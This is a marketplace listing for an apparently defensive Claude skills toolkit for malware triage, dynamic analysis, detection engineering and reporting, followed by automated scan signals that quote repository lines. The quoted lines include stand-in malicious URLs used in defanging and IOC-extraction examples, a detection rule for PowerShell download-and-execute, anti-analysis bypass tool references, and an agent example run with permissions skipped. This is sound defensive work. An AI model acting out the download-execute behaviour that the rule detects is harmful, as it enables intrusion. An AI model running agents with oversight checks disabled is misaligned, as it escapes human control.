Not in the top 1,000 by GitHub stars

gl0bal01/malware-analysis-claude-skills

Complete Claude skills toolkit for professional malware analysis. 5 specialized skills covering triage, dynamic analysis, detection engineering, and reporting. Works with REMnux/FlareVM offline environments.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

e1d9a1a8e18e → e1d9a1a8e18e

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e1d9a1a8e18e

No earlier version was observed for comparison.

Compare on GitHub

detection-engineer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

e1d9a1a8e18e → e1d9a1a8e18e

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e1d9a1a8e18e

No earlier version was observed for comparison.

Compare on GitHub

malware-dynamic-analysis/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

e1d9a1a8e18e → e1d9a1a8e18e

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e1d9a1a8e18e

No earlier version was observed for comparison.

Compare on GitHub

malware-report-writer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

e1d9a1a8e18e → e1d9a1a8e18e

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e1d9a1a8e18e

No earlier version was observed for comparison.

Compare on GitHub

malware-triage/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

e1d9a1a8e18e → e1d9a1a8e18e

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e1d9a1a8e18e

No earlier version was observed for comparison.

Compare on GitHub

specialized-file-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

e1d9a1a8e18e → e1d9a1a8e18e

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e1d9a1a8e18e

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit e1d9a1a8e18e3db8f3534436cfc763c53b6b3350

git clone --filter=blob:none --no-checkout https://github.com/gl0bal01/malware-analysis-claude-skills.git .hotskills/gl0bal01-malware-analysis-claude-skills && git -C .hotskills/gl0bal01-malware-analysis-claude-skills checkout --detach e1d9a1a8e18e3db8f3534436cfc763c53b6b3350 # Copy each selected skill directory from .hotskills/gl0bal01-malware-analysis-claude-skills into .claude/skills/<skill-name>/
54GitHub stars
0stars in 7 days
6skills in this repository
0commits in 30 days

Heat

0.3
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Oct 25, 202654

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

malware-analysis

When your agent uses it

Orchestrate the complete malware analysis lifecycle across triage, dynamic analysis, detection engineering, and report writing. Use as the single entry point for any malware analysis task — routes to specialized sub-skills by file type and phase, carries findings between phases, and supports multi-sample batch workflows.

What it loads into context

Frontmatter

66 tokens

Always available to the agent

SKILL.md

3,348 tokens

When the skill is activated

Reference documents

7,687 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. How This Works
  2. Execution Model
  3. Routing Logic
  4. Phase Sequence
  5. Phase Transitions (Suggest-Next Mode)
  6. State File: `analysis_state.md`
  7. Multi-Sample Batch Workflow
  8. Conventions Enforced
  9. Edge Cases
  10. Sub-Skill Reference
  11. MCP Server Integrations (Optional)

Scripts executed separately

  • README.md
  • scripts/ioc_extract.py
  • tests/extract_rules.py
  • tests/fixtures/scripts/malicious.ps1
  • tests/fixtures/scripts/malicious.vbs
  • tests/make_pe.py
  • tests/run.sh

Files

  • .claude-plugin/marketplace.jsonasset788 bytes
  • .claude-plugin/plugin.jsonasset731 bytes
  • .github/workflows/mirror.ymlasset685 bytes
  • .github/workflows/test.ymlasset487 bytes
  • .gitignoreasset329 bytes
  • CHANGELOG.mddoc7,982 bytes
  • CLAUDE.mddoc7,212 bytes
  • LICENSEasset1,065 bytes
  • README.mdruns19,128 bytes
  • SKILL.mdcore13,822 bytes
  • SKILL.mdcore13,822 bytes
  • SKILL.mdcore13,822 bytes
  • docs/example-triage.mddoc5,024 bytes
  • references/mcp_integrations.mddoc10,217 bytes
  • scripts/ioc_extract.pyruns11,830 bytes
  • tests/extract_rules.pyruns895 bytes
  • tests/fixtures/evidence/dns.txtdoc146 bytes
  • tests/fixtures/evidence/http.txtdoc228 bytes
  • tests/fixtures/evidence/procmon.csvasset2,500 bytes
  • tests/fixtures/evidence/syn.txtdoc203 bytes
  • tests/fixtures/evidence/sysmon.jsonasset5,319 bytes
  • tests/fixtures/evidence/tls.txtdoc89 bytes
  • tests/fixtures/scripts/malicious.ps1runs421 bytes
  • tests/fixtures/scripts/malicious.vbsruns188 bytes
  • tests/fixtures/yara/fixture.yarasset575 bytes
  • tests/make_pe.pyruns5,521 bytes
  • tests/run.shruns6,647 bytes
Read SKILL.md

# Malware Analysis Orchestrator

Single entry point for malware analysis engagements. Routes to specialized sub-skills, carries findings between phases, and manages multi-sample workflows.

## How This Works

You describe what you need — "analyze this sample", "I have 5 files to triage", "create detection rules from my findings" — and this orchestrator:

1. Determines which sub-skill to use based on your file type and intent
2. **Runs the analysis** using that sub-skill: Claude executes the static tooling, parses exported evidence, writes rules and reports itself
3. Records findings in a state file (`analysis_state.md`)
4. Recommends the next phase when the current one completes
5. Waits for your confirmation before proceeding
View the complete source on GitHub

Skills included

  • malware-analysis
  • detection-engineer
  • malware-dynamic-analysis
  • malware-report-writer
  • malware-triage
  • specialized-file-analyzer

Repository facts

License
MIT
Created
Oct 27, 2025
Last pushed
Sep 5, 2026
Forks
4
Open issues
0
Project activity
Slowing

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 5, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 117 notes
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • detection-engineer/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • detection-engineer/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • detection-engineer/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • detection-engineer/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • detection-engineer/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • detection-engineer/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • detection-engineer/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • malware-dynamic-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • malware-dynamic-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • malware-dynamic-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • malware-dynamic-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • malware-dynamic-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • malware-dynamic-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • malware-dynamic-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • malware-dynamic-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • malware-dynamic-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • malware-dynamic-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • malware-dynamic-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 262 signals by file

.claude-plugin/marketplace.json

  • Network accessline 1
    {   "$schema": "https://anthropic.com/claude-code/marketplace.schema.json",
  • Network accessline 2
    "$schema": "https://anthropic.com/claude-code/marketplace.schema.json",
  • Network accessline 3
    "name": "gl0bal01-security",   "description": "Security tooling skills for Claude Code by gl0bal01.",   "owner": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" },
  • Network accessline 4
    "description": "Security tooling skills for Claude Code by gl0bal01.",   "owner": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" },   "plugins": [
  • Network accessline 5
    "owner": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" },
  • Network accessline 10
    "description": "Agentic malware analysis across triage, dynamic analysis, specialized file analysis, detection engineering, and reporting.",       "version": "1.3.0",       "author": { "name": "gl0bal01", "url": "https://github.com/gl0bal01
  • Network accessline 11
    "version": "1.3.0",       "author": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" },       "homepage": "https://github.com/gl0bal01/malware-analysis-claude-skills",
  • Network accessline 12
    "author": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" },
  • Network accessline 13
    "homepage": "https://github.com/gl0bal01/malware-analysis-claude-skills",

.claude-plugin/plugin.json

  • Network accessline 3
    "version": "1.3.0",   "description": "Agentic malware analysis: Claude runs the static tooling, parses exported VM evidence, writes and tests detection rules, and drafts the report across triage, dynamic analysis, specialized file analysis,
  • Network accessline 4
    "description": "Agentic malware analysis: Claude runs the static tooling, parses exported VM evidence, writes and tests detection rules, and drafts the report across triage, dynamic analysis, specialized file analysis, detection engineering
  • Network accessline 5
    "author": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" },
  • Network accessline 6
    "homepage": "https://github.com/gl0bal01/malware-analysis-claude-skills",
  • Network accessline 7
    "repository": "https://github.com/gl0bal01/malware-analysis-claude-skills",

.github/workflows/mirror.yml

  • Network accessline 19
    - name: Mirror repository         run: |           git remote add codeberg https://gl0bal01:${{ secrets.CODEBERG_TOKEN }}@codeberg.org/gl0bal01/malware-analysis-claude-skills.git || true
  • Network accessline 20
    run: |           git remote add codeberg https://gl0bal01:${{ secrets.CODEBERG_TOKEN }}@codeberg.org/gl0bal01/malware-analysis-claude-skills.git || true           git push codeberg --all --force
  • Network accessline 21
    git remote add codeberg https://gl0bal01:${{ secrets.CODEBERG_TOKEN }}@codeberg.org/gl0bal01/malware-analysis-claude-skills.git || true

.gitignore

  • Access to secretsline 15
    [Credential-related source omitted]

CHANGELOG.md

  • Network accessline 5
    The format is based on [Keep a Changelog](https://keepachangelog.com/).

README.md

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    > 💡 **Want to learn the manual analysis techniques behind these skills?** Check out the comprehensive [Malware Analysis SOP](https://gl0bal01.com/intel-codex/Security/Analysis/sop-malware-analysis) covering traditional analysis methods and 
  • Network accessline 116
    git clone https://github.com/gl0bal01/malware-analysis-claude-skills ~/.claude/skills/malware-analysis
  • Network accessline 142
    | MCP Server | What It Automates | API Key | |-----------|-------------------|---------| | **VirusTotal** | Hash/URL/domain reputation lookups | Free at [virustotal.com](https://www.virustotal.com/) |
  • Network accessline 143
    |-----------|-------------------|---------| | **VirusTotal** | Hash/URL/domain reputation lookups | Free at [virustotal.com](https://www.virustotal.com/) | | **Threat.Zone** | Automated sandbox execution | [threat.zone](https://app.threat.z
  • Network accessline 144
    | **VirusTotal** | Hash/URL/domain reputation lookups | Free at [virustotal.com](https://www.virustotal.com/) |
  • Network accessline 145
    | **Threat.Zone** | Automated sandbox execution | [threat.zone](https://app.threat.zone/) |
  • Network accessline 146
    | **Threat Intel** | abuse.ch, AbuseIPDB, GreyNoise, AlienVault OTX | Per-source | | **MISP** | Team-wide IOC sharing | Self-hosted | | **Shodan** | C2 infrastructure recon | Free at [shodan.io](https://www.shodan.io/) |
  • Network accessline 147
    | **MISP** | Team-wide IOC sharing | Self-hosted | | **Shodan** | C2 infrastructure recon | Free at [shodan.io](https://www.shodan.io/) | | **Volatility** | Memory forensics via natural language | Local install |
  • Network accessline 148
    | **Shodan** | C2 infrastructure recon | Free at [shodan.io](https://www.shodan.io/) |
  • Network accessline 285
    ### Training - **TCM Security:** Practical Malware Analysis & Triage (https://certifications.tcm-sec.com/pmrp/)
  • Network accessline 286
    - **TCM Security:** Practical Malware Analysis & Triage (https://certifications.tcm-sec.com/pmrp/)
  • Network accessline 290
    ### Malware Sample Sources - MalwareBazaar: https://bazaar.abuse.ch/
  • Network accessline 291
    - MalwareBazaar: https://bazaar.abuse.ch/
  • Network accessline 292
    - VirusTotal: https://www.virustotal.com/
  • Network accessline 293
    - Hybrid Analysis: https://www.hybrid-analysis.com/
  • Network accessline 295
    ### Tool Documentation - Sysinternals Suite: https://docs.microsoft.com/en-us/sysinternals/
  • Network accessline 296
    - Sysinternals Suite: https://docs.microsoft.com/en-us/sysinternals/
  • Network accessline 297
    - Wireshark: https://www.wireshark.org/docs/
  • Network accessline 298
    - dnSpy: https://github.com/dnSpy/dnSpy
  • Network accessline 299
    - Didier Stevens Tools: https://blog.didierstevens.com/programs/
  • Network accessline 300
    - Sigma: https://github.com/SigmaHQ/sigma
  • Network accessline 301
    - Suricata: https://docs.suricata.io/
  • Network accessline 303
    ### Reference Materials - SANS Malware Analysis Cheat Sheet: https://www.sans.org/posters/
  • Network accessline 304
    - SANS Malware Analysis Cheat Sheet: https://www.sans.org/posters/
  • Network accessline 305
    - MITRE ATT&CK: https://attack.mitre.org/
  • Network accessline 306
    - MalAPI.io (Windows APIs): https://malapi.io/

detection-engineer/SKILL.md

  • Network accessline 48
    # URLs http://malicious.com/payload.exe
  • Network accessline 49
    http://malicious.com/payload.exe
  • Network accessline 52
    https://evil.tk/login
  • Network accessline 95
    # Defang echo "http://malicious.com" | fanger --defang
  • Network accessline 96
    echo "http://malicious.com" | fanger --defang
  • Network accessline 99
    # Refang (restore for testing) echo "hxxp://malicious[.]com" | fanger --fang # Output: http://malicious.com
  • Network accessline 101
    # Output: http://malicious.com
  • Network accessline 106
    # Defang URLs and domains echo "http://malicious.com/payload.exe" | sed 's/http:/hxxp:/g; s/\./[.]/g'
  • Network accessline 107
    echo "http://malicious.com/payload.exe" | sed 's/http:/hxxp:/g; s/\./[.]/g'
  • Network accessline 152
    **Official Repo:** https://github.com/SigmaHQ/sigma
  • Network accessline 160
    description: Detailed description of what this detects references:     - https://attack.mitre.org/techniques/T1059/001/
  • Network accessline 161
    references:     - https://attack.mitre.org/techniques/T1059/001/ author: Your Name
  • Network accessline 162
    - https://attack.mitre.org/techniques/T1059/001/
  • Network accessline 235
    description: Detects PowerShell downloading content and executing it via Invoke-Expression references:     - https://attack.mitre.org/techniques/T1059/001/
  • Network accessline 236
    references:     - https://attack.mitre.org/techniques/T1059/001/     - https://attack.mitre.org/techniques/T1105/
  • Network accessline 237
    - https://attack.mitre.org/techniques/T1059/001/
  • Network accessline 238
    - https://attack.mitre.org/techniques/T1105/
  • Network accessline 270
    description: Detects creation of registry Run key pointing to suspicious locations references:     - https://attack.mitre.org/techniques/T1547/001/
  • Network accessline 271
    references:     - https://attack.mitre.org/techniques/T1547/001/ author: Analyst Name
  • Network accessline 272
    - https://attack.mitre.org/techniques/T1547/001/
  • Network accessline 332
    description: Detects file creation in common malware drop locations references:     - https://attack.mitre.org/techniques/T1105/
  • Network accessline 333
    references:     - https://attack.mitre.org/techniques/T1105/ author: Analyst Name
  • Network accessline 334
    - https://attack.mitre.org/techniques/T1105/
  • Network accessline 662
    <?xml version="1.0" encoding="UTF-8"?> <ioc xmlns="http://schemas.mandiant.com/2010/ioc">
  • Network accessline 663
    <ioc xmlns="http://schemas.mandiant.com/2010/ioc">
  • Network accessline 797
    | Task | Tool | Command | |------|------|---------| | **Defang IOCs** | ioc-fanger | `echo "http://evil.com" \| fanger --defang` |
  • Network accessline 798
    |------|------|---------| | **Defang IOCs** | ioc-fanger | `echo "http://evil.com" \| fanger --defang` | | **Convert Sigma** | sigma-cli | `sigma convert -t splunk rule.yml` |
  • Network accessline 799
    | **Defang IOCs** | ioc-fanger | `echo "http://evil.com" \| fanger --defang` |

docs/example-triage.md

  • Instruction override signalline 13
    claude -p "Read malware-triage/SKILL.md and follow it to triage \   tests/out/invoice_2024.exe. Do not execute the sample." \   --dangerously-skip-permissions
  • Instruction override signalline 15
    --dangerously-skip-permissions

malware-dynamic-analysis/references/anti_analysis_bypass.md

  • Network accessline 164
    # Create browser history (requires Chrome installed) # Open URLs from PowerShell Start-Process "chrome.exe" "https://www.gmail.com"
  • Network accessline 165
    # Open URLs from PowerShell Start-Process "chrome.exe" "https://www.gmail.com" Start-Process "chrome.exe" "https://www.stackoverflow.com"
  • Network accessline 166
    Start-Process "chrome.exe" "https://www.gmail.com"
  • Network accessline 167
    Start-Process "chrome.exe" "https://www.stackoverflow.com"
  • Network accessline 183
    # https://github.com/hfiref0x/VBoxHardenedLoader
  • Network accessline 258
    # Download: https://github.com/x64dbg/ScyllaHide
  • Network accessline 281
    # Download: https://github.com/mrexodia/TitanHide
  • Network accessline 519
    Download:  https://github.com/x64dbg/ScyllaHide/releases
  • Network accessline 536
    Download:  https://github.com/mrexodia/TitanHide
  • Network accessline 547
    Download:  https://github.com/LordNoteworthy/al-khaser
  • Network accessline 563
    Download:  https://github.com/a0rtega/pafish/releases
  • Network accessline 574
    Download:  https://github.com/hasherezade/hollows_hunter

malware-dynamic-analysis/references/sandbox_setup.md

  • Network accessline 14
    # Option 1: Download pre-built OVA (recommended) # https://remnux.org/#distro
  • Network accessline 15
    # https://remnux.org/#distro
  • Network accessline 18
    # Option 2: Add REMnux to existing Ubuntu 22.04 LTS wget https://REMnux.org/remnux-cli
  • Network accessline 19
    wget https://REMnux.org/remnux-cli
  • Dangerous shell operationline 22
    sudo remnux install
  • Dangerous shell operationline 42
    sudo remnux upgrade
  • Dangerous shell operationline 45
    sudo timedatectl set-timezone UTC
  • Dangerous shell operationline 48
    sudo systemctl disable apt-daily.timer
  • Dangerous shell operationline 49
    sudo systemctl disable apt-daily-upgrade.timer
  • Dangerous shell operationline 52
    sudo systemctl status inetsim
  • Dangerous shell operationline 58
    sudo nano /etc/inetsim/inetsim.conf
  • Dangerous shell operationline 83
    sudo inetsim
  • Network accessline 127
    # Download and run FlareVM installer (New-Object net.webclient).DownloadFile(     'https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1',
  • Network accessline 128
    (New-Object net.webclient).DownloadFile(     'https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1',     "$env:temp\install.ps1"
  • Network accessline 129
    'https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1',
  • Network accessline 379
    # Download: https://github.com/a0rtega/pafish
  • Network accessline 394
    # Clone CAPE git clone https://github.com/kevoreilly/CAPEv2.git
  • Network accessline 395
    git clone https://github.com/kevoreilly/CAPEv2.git
  • Dangerous shell operationline 399
    sudo docker-compose up -d
  • Network accessline 401
    # Web interface available at: # http://localhost:8000
  • Network accessline 402
    # http://localhost:8000
  • Network accessline 421
    http://localhost:8000/submit
  • Dangerous shell operationline 449
    - Check INetSim is running: `sudo systemctl status inetsim`
  • Dangerous shell operationline 450
    - Verify no firewall blocking port 53 on REMnux: `sudo ufw status`

malware-dynamic-analysis/references/tool_setup.md

  • Network accessline 7
    ### Initial Setup 1. Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
  • Network accessline 8
    1. Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
  • Network accessline 59
    ### Capture Setup 1. Download from: https://www.wireshark.org
  • Network accessline 60
    1. Download from: https://www.wireshark.org
  • Network accessline 119
    ### Setup 1. Download from: https://systeminformer.sourceforge.io
  • Network accessline 120
    1. Download from: https://systeminformer.sourceforge.io
  • Network accessline 171
    # Download Sysmon # https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
  • Network accessline 172
    # https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
  • Network accessline 177
    # Config sources (pick one): # https://github.com/olafhartong/sysmon-modular   (actively maintained, MITRE-mapped; use sysmonconfig.xml)
  • Network accessline 178
    # https://github.com/olafhartong/sysmon-modular   (actively maintained, MITRE-mapped; use sysmonconfig.xml)
  • Network accessline 179
    # https://github.com/SwiftOnSecurity/sysmon-config (classic, less frequently updated)
  • Network accessline 209
    ### Workflow 1. Download from: https://sourceforge.net/projects/regshot/
  • Network accessline 210
    1. Download from: https://sourceforge.net/projects/regshot/
  • Network accessline 234
    ### Setup 1. Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview
  • Network accessline 235
    1. Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview
  • Network accessline 256
    # Download from: https://github.com/Rurik/Noriben
  • Network accessline 257
    git clone https://github.com/Rurik/Noriben.git
  • Dangerous shell operationline 282
    sudo apt update
  • Dangerous shell operationline 283
    sudo apt install inetsim
  • Dangerous shell operationline 286
    sudo nano /etc/inetsim/inetsim.conf
  • Dangerous shell operationline 300
    sudo inetsim
  • Network accessline 322
    # Download from: https://github.com/mandiant/flare-fakenet-ng

malware-dynamic-analysis/scripts/procmon_summary.py

  • Executable scriptline 1
    #!/usr/bin/env python3

malware-dynamic-analysis/scripts/sysmon_summary.py

  • Executable scriptline 1
    #!/usr/bin/env python3

malware-report-writer/SKILL.md

  • Executable scriptline 1
    Executable file

malware-report-writer/assets/report_template.md

  • Executable scriptline 1
    Executable file
  • Network accessline 163
    URLs: [https://example.com/path] → hxxps://example[.]com/path - [Purpose/Description]
  • Network accessline 164
    [https://example.com/path] → hxxps://example[.]com/path - [Purpose/Description]

malware-report-writer/references/best_practices.md

  • Executable scriptline 1
    Executable file

malware-triage/SKILL.md

  • Executable scriptline 1
    Executable file
  • Access to secretsline 123
    [Credential-related source omitted]

malware-triage/references/indicators.md

  • Executable scriptline 1
    Executable file
  • Network accessline 70
    - Hardcoded IP addresses (especially RFC1918 or suspicious IPs) - Domain names (especially newly registered or suspicious TLDs) - URL patterns: `http://`, `https://`, `ftp://`
  • Network accessline 71
    - Domain names (especially newly registered or suspicious TLDs) - URL patterns: `http://`, `https://`, `ftp://` - Port numbers in strings (especially non-standard ports)
  • Network accessline 72
    - URL patterns: `http://`, `https://`, `ftp://`

malware-triage/references/triage_checklist.md

  • Executable scriptline 1
    Executable file

malware-triage/scripts/hash_calculator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

malware-triage/scripts/pe_info.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 485
    elif head[:6] == b"7z\xbc\xaf\x27\x1c":
  • Possible obfuscationline 485
    elif head[:6] == b"7z\xbc\xaf\x27\x1c":

references/mcp_integrations.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Network accessline 29
    **GitHub:** [BurtTheCoder/mcp-virustotal](https://github.com/BurtTheCoder/mcp-virustotal)
  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 61
    **API key:** Free tier at [virustotal.com](https://www.virustotal.com/) (4 lookups/min, 500/day). Premium for higher limits.
  • Network accessline 69
    **GitHub:** [threat-zone/threatzonemcp](https://github.com/threat-zone/threatzonemcp)
  • Access to secretsline 102
    [Credential-related source omitted]
  • Network accessline 109
    **API key:** Register at [threat.zone](https://app.threat.zone/)
  • Network accessline 117
    **GitHub:** [aplaceforallmystuff/mcp-threatintel](https://github.com/aplaceforallmystuff/mcp-threatintel)
  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 146
    [Credential-related source omitted]
  • Network accessline 162
    **GitHub:** [bornpresident/MISP-MCP-SERVER](https://github.com/bornpresident/MISP-MCP-SERVER)
  • Network accessline 179
    **Setup:** Requires a running MISP instance. See [GitHub README](https://github.com/bornpresident/MISP-MCP-SERVER) for configuration.
  • Network accessline 187
    **GitHub:** [BurtTheCoder/mcp-shodan](https://github.com/BurtTheCoder/mcp-shodan)
  • Access to secretsline 212
    [Credential-related source omitted]
  • Network accessline 219
    **API key:** Free tier at [shodan.io](https://www.shodan.io/)
  • Network accessline 227
    **GitHub:** [bornpresident/Volatility-MCP-Server](https://github.com/bornpresident/Volatility-MCP-Server)
  • Network accessline 242
    **Setup:** Requires Volatility 3 installed locally. See [GitHub README](https://github.com/bornpresident/Volatility-MCP-Server) for configuration.

scripts/ioc_extract.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 240
    def self_test():     sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 240
    def self_test():     sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 240
    def self_test():     sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 240
    def self_test():     sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 240
    def self_test():     sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 240
    def self_test():     sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 241
    sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"         "Also seen evil.tk in the config, and payload.exe is not a domain.\n"
  • Network accessline 241
    sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"         "Also seen evil.tk in the config, and payload.exe is not a domain.\n"
  • Network accessline 241
    sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"         "Also seen evil.tk in the config, and payload.exe is not a domain.\n"
  • Network accessline 241
    sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"         "Also seen evil.tk in the config, and payload.exe is not a domain.\n"
  • Network accessline 241
    sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"         "Also seen evil.tk in the config, and payload.exe is not a domain.\n"
  • Network accessline 241
    sample = (         "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"         "Also seen evil.tk in the config, and payload.exe is not a domain.\n"
  • Network accessline 242
    "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 242
    "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 242
    "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 242
    "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 242
    "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 242
    "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n"
  • Network accessline 253
    assert any(k == "url" and "evil" in v for k, v in kinds), "url not found"     live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
  • Network accessline 253
    assert any(k == "url" and "evil" in v for k, v in kinds), "url not found"     live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
  • Network accessline 253
    assert any(k == "url" and "evil" in v for k, v in kinds), "url not found"     live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
  • Network accessline 253
    assert any(k == "url" and "evil" in v for k, v in kinds), "url not found"     live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
  • Network accessline 253
    assert any(k == "url" and "evil" in v for k, v in kinds), "url not found"     live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
  • Network accessline 253
    assert any(k == "url" and "evil" in v for k, v in kinds), "url not found"     live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
  • Network accessline 254
    live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"     assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x"
  • Network accessline 254
    live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"     assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x"
  • Network accessline 254
    live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"     assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x"
  • Network accessline 254
    live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"     assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x"
  • Network accessline 254
    live = refang("hxxps://bad-tld[.]tk/x")     assert live == "https://bad-tld.tk/x", "refang roundtrip failed"     assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x"
  • Network accessline 254
